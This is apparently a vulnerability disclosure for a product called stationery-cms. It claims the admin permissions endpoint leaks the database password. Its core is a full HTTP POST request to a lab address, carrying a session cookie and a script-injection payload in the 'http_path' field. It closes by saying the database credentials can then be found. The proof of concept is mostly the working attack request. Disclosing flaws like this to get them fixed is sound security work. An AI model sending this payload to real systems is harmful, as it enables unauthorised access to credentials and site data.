Background authority management sql information leakage leakage database password

[qbz95aaa]

Vulnerability affects product:[stationery-cms]
Vulnerability type:information leakage
Vulnerability Details：
Background authority management sql information leakage leakage database password

poc

POST /admin/auth/permissions HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 850
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydDQj3dFW3TBgHzKD
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/permissions/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:laravel_session=eyJpdiI6IktBWWZZQkJZZlVsTkhyejZha3VpTUE9PSIsInZhbHVlIjoiYUVTR1RjR1VUVzR5bUIzS1ZRdHRnOENoU1lXcXJzODNHV0cxSVwvMkQ4ZHR5TUc1TXV3OEJKVGJ3OWhoaTNaRHQiLCJtYWMiOiIyZmFkOTkxNzExMzczNGRjNzVjYmE5ODc0NWIzMjAwMjkwMzhjZDQ1YTdiMzA1YjUzYjI3N2M3NTdmOTdmY2IxIn0%3D
Connection: close

------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="slug"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="name"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"

GET
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"


------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_path"

testxss<script>alert(1)</script>`
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="_previous_"

http://192.168.3.129:8091/admin/auth/permissions
------WebKitFormBoundarydDQj3dFW3TBgHzKD--

then you can find db password and info